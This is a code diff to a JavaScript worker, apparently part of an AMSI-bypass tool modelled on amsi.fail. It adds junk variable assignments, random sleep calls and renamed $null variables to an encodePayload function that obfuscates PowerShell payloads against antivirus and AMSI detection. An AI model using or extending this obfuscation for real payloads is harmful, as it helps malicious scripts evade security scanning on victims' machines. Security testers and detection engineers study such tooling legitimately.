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updated worker js similar to http://amsi.fail #8

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updated worker js similar to http://amsi.fail #8

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27 changes: 26 additions & 1 deletion docs/worker.js
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Original file line number Diff line number Diff line change
Expand Up @@ -303,7 +303,32 @@ function encodePayload(input){
input = input.replaceAll(word, obf)
}

return input
input = input.replace(";", ";$" + getRandomJunk() + "=\"" + obfuscateString(getRandomJunk())+ "\";[Threading.Thread]::Sleep(" +randomInt(2000)+");")

let nullValue = randomCase(randomString(randomInt(10)))

input = input.replace("$null","$" + nullValue)

input + ";$" + getRandomJunk() + "=\"" + obfuscateString(getRandomJunk())+ "\";[Threading.Thread]::Sleep(" +randomInt(2000)+")"

input= input.replace(";;","")

return input.replace("\n","\n$" + nullValue + "=$null;")
}

/**
* creates a random junk
* @param {Integer} length
* @returns {String} random string of a given length
*/
function getRandomJunk(){
let length = randomInt(30)
const alphabet = "abcdefghijklmnopqrstuvwxyz"
let ret = ""
for(var i=0; i < length; i++){
ret += alphabet[Math.floor(Math.random() * alphabet.length)]
}
return ret
}

/**
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